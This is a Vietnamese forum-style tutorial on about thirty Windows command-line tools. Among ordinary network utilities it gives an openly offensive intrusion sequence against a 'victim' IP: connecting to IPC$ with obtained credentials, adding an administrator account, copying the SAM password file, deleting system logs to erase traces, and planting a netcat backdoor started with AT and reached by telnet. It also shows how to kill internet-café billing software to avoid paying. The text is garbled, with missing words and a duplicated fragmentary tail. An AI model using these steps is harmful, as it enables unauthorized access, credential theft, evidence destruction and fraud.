1 số lệnh CMD Windows Click Start-->Run---> type cmd ---> press enter 1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa IP máy cần kiểm tra; host tên máy tính cần kiểm tra. Người ta sử dụng địa IP tên máy tính. - Tham số /t: Sử dụng tham số để máy tính liên tục "ping" đến máy tính đích, bạn bấm Ctrl + C - Tham số /a: Nhận địa IP từ tên host - Tham số /l : Xác định độ rộng gói tin gửi kiểm tra. Một số hacker sử dụng tham số để công từ chối dịch vụ máy tính (Ping of Death - loại DoS), nghĩ hacker có công cụ riêng để ping gói tin lớn này, phải có nhiều máy tính ping lượt. - Tham số /n : Xác định số gói tin gửi đi. Ví dụ: ping 174.178.0.1/n Công dụng : + Lệnh sử dụng để kiểm tra xem máy tính có kết nối với mạng không. Lệnh Ping gửi gói tin từ máy tính bạn ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả gói tin, bạn xác định tình trạng đường truyền (chẳng hạn: gửi gói tin nhận gói tin, chứng tỏ đường truyền chậm (xấu)). Hoặc xác định máy tính có kết nối hay không (Nếu không kết nối,kết Unknow host) 2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh cho phép bạn "nhìn thấy" đường gói tin từ máy tính bạn đến máy tính đích, xem gói tin bạn vòng qua server nào, router . Quá hay bạn muốn thăm dò server đó. 3. Lệnh Net Send, gởi thông điệp mạng (chỉ sử dụng hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh gửi thông điệp tới máy tính đích (có địa IP tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta sử dụng lệnh để chat với nhau. Trong phòng vi tính trường tui thường dùng lệnh để ghẹo người! Bạn gởi cho tất máy tính mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn 4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất kết nối cổng lắng nghe (listening) - Tham số /e: hiển thị thông tin thống kê Ethernet - Tham số /n: Hiển thị địa số cổng kết nối . Ngoải vài tham số khác, gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất kết nối vào máy tính chúng ta. 5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh cho phép hiển thị cấu hình IP máy tính bạn sử dụng, tên host, địa IP, mặt nạ mạng . 6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn vào hình ftp, có dấu nhắc sau: Code: ftp>_ Tại đây, bạn thực thao tác tay với ftp, thay dùng chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình yêu cầu bạn nhập User name, Password. Nếu username pass hợp lệ, bạn phép upload, duyệt file . máy chủ. Một số lệnh ftp bản: -cd thu_muc: chuyển sang thư mục khác máy chủ - dir: Xem danh sách file thư mục thư mục thời máy chủ - mdir thu_muc: Tạo thư mục có tên thu_muc máy chủ - rmdir thu_muc: Xoá (remove directory) thư mục máy chủ - put file: tải file file (đầy đủ đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở chế độ DOS command. Ngoài vài lệnh nữa, xin mời bạn tự tìm hiểu. Công dụng : + FTP giao thức sử dụng để gửi nhận file máy tính với nhau. Windows cài đặt sẵn lệnh ftp, có tác dụng chương trình chạy console (văn bản), cho phép thực kết nối đến máy chủ ftp 7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu đánh net view [enter], danh sách máy tính mạng domain quản lý với máy tính bạn sử dụng. + Nếu đánh net view \\tenmaytinh, hiển thị chia sẻ tài nguyên máy tính tenmaytinh . Sau sử dụng lệnh này, bạn sử dụng lệnh net use để sử dụng nguồn tài nguyên chia sẻ này. 8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"######" - ip: địa IP victim. - ######: user máy victim - pass: password user Giả sử ta có đc user pass victim có IP 68.135.23.25 net ta kết nối đến máy tính rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói IPC$ đến máy tính victim (bắt đầu trình xâm nhập). 9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password user cần add Khi add đc user vào rùi ta tiến hành add user vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta đánh lệnh Net User hiển thị user có máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] máy tính tiến hành thêm người dùng vào. Ví dụ: ta tiến hành add thêm user có tên uanhoa , password :banvatoi vào với cấu trúc lệnh sau: Code: Net User xuanhoa banvatoi /add Sau add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add 10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : lệnh cho máy tính từ xa thực hiên lệnh shutdown, restart, - Tham số -t xx : đặt thời gian cho việc thực lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực remote) - Tham số -s : shutdown - Tham số -r : shutdown restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ lệnh shutdown bạn gõ shutdown /? để hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính. 11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh rùi, tui khỏi hướng dẫn, để rõ bạn đánh lệnh DIR /? để hướng dẫn. Công dụng: + Để xem file, folder. 12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh rùi, ko phải nói nhìu. Công dụng: Xóa file, thông thường sau xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết để khỏi bị phát hiện.Sau files nhật ký Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log 13. Lệnh tạo ổ đĩa ảo computer: Cú pháp: Code: Net use z: \\ip\C$ ( IPC$ ) - Z .còn C$ Victim Công dụng: Tạo đĩa ảo máy tính (lệnh tui ko rõ nên ko thể hướng dẫn chi tiết đc) 14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian victim, sau dùng lệnh AT để khởi động chương trình. 15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường xâm nhập vào máy tính victim rút lui ta tặng quà lưu niệm lên máy tính victim, copy troj backdoor lên máy tính rùi ta dùng lệnh at để khởi động chúng. Ví dụ: tui có troj tên nc.exe (NC từ viết tắc NETCAT telnet server với port 99) đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian victim có IP : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h phản hồi cho ta thời gian victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 tự chạy máy nạn nhân connected đến port 99. 16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng máy victim dính nc ta cần connect đến port 99 OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx 17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index ổ C lên ổ C 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files máy victm bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\ 18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh để rõ lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) 20. Lệnh Date : Cú pháp: Code: Date /TCông dụng: + Nếu gõ lệnh date hệ thống hiển thị ngày hệ thống yêu cầu bạn nhập ngày để edit. + Nếu gõ lệnh date /t bạn coi thông tin ngày hệ thống! 21. Lệnh xuất thông tin thành file *.txt: Cú pháp: Code: Câu lệnh >[drive]:\[path]\tenfile.txtCông dụng: + xuất tham số file text . Ví dụ: bạn đánh lệnh sau: Code: ipconfig >C:\myip.txtHệ thống tạo file myip.txt lưu ổ đĩa C với thông tin IP, Gateway, Subnet Mask 22. Lệnh openfiles: Cú pháp: Code: OpenFiles /Disconnect /ID id OpenFiles /Disconnect /A tên-truy-cậpCông dụng: + Cho biết dùng tập tin (thư mục) mà bạn chia hệ thống mạng 23. Lệnh Recover: Cú pháp: Code: Recover /?Đánh lệnh recover /? để biết thêm chi tiết nhé! Công dụng: + Để "cứu" file bị hỏng file nằm vùng đĩa hư (bad sector hạn). Chỉ hoạt động hệ thống file bạn NTFS (Fat32/Fat không dùng đâu nhé). Nó dở chỗ dùng lệnh cho file nên có nhiều file hư bạn nên tìm tiện ích hãng thứ 24. Lệnh Tasklist : Cú pháp: Code: TasklistCông dụng: + Liệt kê tác vụ (các chương trình ứng dụng chạy nhớ máy tính) chi tiết. Sẽ cho bạn biết tên process chạy. Process luồng xử lý CPU cấp riêng thực thi ứng dụng (chương trình) hay PID (Process ID). TaskList hữu ích dùng với Taskkill. + Để hiểu rõ lệnh này, gõ /? sau cấu trúc lệnh nhé! 25. Lệnh Taskkill: Cú pháp: Code: Taskkill /PID proccess idĐừng quên thêm /? sau cấu trúc lệnh để hiểu rõ nhé! Công dụng: + Để "kill" "task" chạy nhớ. Lợi hại đấy, net gặp quán DWK hay Netcafe tắt một! Ví dụ: Đầu tiên ta dùng lệnh tasklist để biết groccess id chương trình cần tắt. Code: tasklistỞ thí dụ cần DWK có groccess id 524 ta dùng lệnh taskkill để tắt sau: Code: taskkill /PID 524 /ftham số /f để tắt ứng dụng cách hoàn toàn! Gọi tắt hoàn toàn thui minh run khởi đọng lại chạy bình thường ah! Lợi dụng ứng dụng ta làm giảm bớt chi phí ngồi net cách tắt easy cafe đi. Chừng gần rùi mở lại nhấn nút reset xong! He he! Nhưng nhớ phải làm cho khéo kẻo bị đập đó! 26. Lệnh Compact: Cú pháp: Compact [/c] [/u] [/s] [/a] [/i] [/f] [/q] - tham số /c : định nén file - tham số /u : giải nén file - Các tham số lại tự ngâm cứu thêm nhé! Công dụng: + Tương tự chức tiết kệm dung lượng đĩa Windows XP hay 2003 (Vista) - có dùng NTFS "Compress Contents To Save Disk Space". Các bạn có nhiều kiểu làm click phải chuột vào file chọn Properties -> Advanced check vào ô tiết kiệm dung lượng cho file "Compress file to save disk space". Nhưng bánj muốn nén tất file có phần mở rộng *.* Compact lựa chọn tốt . Ví dụ: Code: compact /c *.exe27. Lệnh control: Cú pháp: Code: controlCông dụng: + Mở control panel CMD 28. Lệnh getmac: Cú pháp: Code: getmacCông dụng: + lấy thông tin địa MAC (Media Access Control) từ card mạng. 29. Lệnh systeminfo: Cú pháp: Code: systeminfoCông dụng: + thị thông tin hệ thống từ cấu hình bản, loại CPU, khu vực địa lý, hotfix (bản cập nhập) cài máy, v.v . 30. Lệnh tree: Cú pháp: Code: tree [ổ đĩa]:[đường dẫn] [/f] [/a]- Tham số /f : hiển thị tên file thư mục - Tham số /a : ko rõ Công dụng: + Hiển thị cấu trúc thư mục dạng cây! [...]... sets, or removes cmd. exe enviroment variables 19 Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) 20 Lệnh Date : Cú pháp: Code: Date /TCông dụng: + Nếu chỉ gõ lệnh date thì hệ thống sẽ hiển thị ngày giờ hệ thống và yêu cầu bạn nhập ngày giờ mới để edit + Nếu gõ lệnh date /t thì... date /t thì bạn chỉ coi thông tin về ngày giờ hệ thống! 21 Lệnh xuất thông tin thành file *.txt: Cú pháp: Code: Câu lệnh >[drive]:\[path]\tenfile.txtCông dụng: + xuất một tham số nào đó ra 1 file text Ví dụ: bạn đánh lệnh sau: Code: ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask 22 Lệnh openfiles: Cú pháp: Code: OpenFiles /Disconnect /ID... mạng 23 Lệnh Recover: Cú pháp: Code: Recover /?Đánh lệnh recover /? để biết thêm chi tiết nhé! Công dụng: + Để "cứu" một file nào đó bị hỏng khi file đó nằm trên vùng đĩa hư (bad sector chăng hạn) Chỉ hoạt động khi hệ thống file của bạn là NTFS (Fat32/Fat không dùng được đâu nhé) Nó dở 1 chỗ là dùng lệnh này cho từng file một nên có nhiều file hư các bạn nên tìm tiện ích của các hãng thứ 3 24 Lệnh Tasklist... /c *.exe27 Lệnh control: Cú pháp: Code: controlCông dụng: + Mở control panel bằng CMD 28 Lệnh getmac: Cú pháp: Code: getmacCông dụng: + lấy thông tin địa chỉ MAC (Media Access Control) từ card mạng 29 Lệnh systeminfo: Cú pháp: Code: systeminfoCông dụng: + hiện thị thông tin của hệ thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v 30 Lệnh tree:... Để "kill" một "task" đang chạy trong bộ nhớ Lợi hại lắm đấy, khi ra net gặp quán nào nó cái DWK hay Netcafe thì mình tắt nó đi cái một! Ví dụ: Đầu tiên ta dùng lệnh tasklist để biết được groccess id của chương trình cần tắt Code: tasklistỞ đây tôi thí dụ như tôi cần DWK có groccess id là 524 thì ta dùng lệnh taskkill để tắt nó đi như sau: Code: taskkill /PID 524 /ftham số /f là để tắt ứng dụng đó đi... ứng dụng đang chạy trong bộ nhớ máy tính) chi tiết Sẽ cho bạn biết tên process đang chạy Process là một luồng xử lý được CPU cấp riêng khi thực thi một ứng dụng (chương trình) hay PID (Process ID) TaskList hữu ích khi dùng với Taskkill + Để hiểu rõ hơn về lệnh này, hãy gõ /? sau cấu trúc lệnh nhé! 25 Lệnh Taskkill: Cú pháp: Code: Taskkill /PID proccess idĐừng quên thêm /? sau cấu trúc lệnh để hiểu rõ... cafe đi Chừng nào gần về rùi hãy mở lại hoặc nhấn nút reset là xong! He he! Nhưng nhớ phải làm cho khéo kẻo bị đập đó! 26 Lệnh Compact: Cú pháp: Compact [/c] [/u] [/s] [/a] [/i] [/f] [/q] - tham số /c : chỉ định nén một file nào đó - tham số /u : giải nén một file nào đó - Các tham số còn lại tự ngâm cứu thêm nhé! Công dụng: + Tương tự như chức năng tiết kệm dung lượng đĩa trên Windows XP hay 2003 (Vista)... thống từ cấu hình cơ bản, loại CPU, khu vực địa lý, các bản hotfix (bản cập nhập) đã cài trong máy, v.v 30 Lệnh tree: Cú pháp: Code: tree [ổ đĩa]:[đường dẫn] [/f] [/a]- Tham số /f : hiển thị tên của file trong mỗi thư mục - Tham số /a : ko rõ Công dụng: + Hiển thị cấu trúc thư mục dạng cây! . 1 số lệnh trong CMD của Windows Click Start >Run > type cmd > press enter 1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm. thời gian của victim có IP là : 68 .13 5.23.25 . Code: Net Time \68 .13 5.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12 :00. Code: AT \68 .13 5.23.25 12 :3 nc.exe Đợi đến 12 :3 là. một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 17 4 .17 8.0 .1/ n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi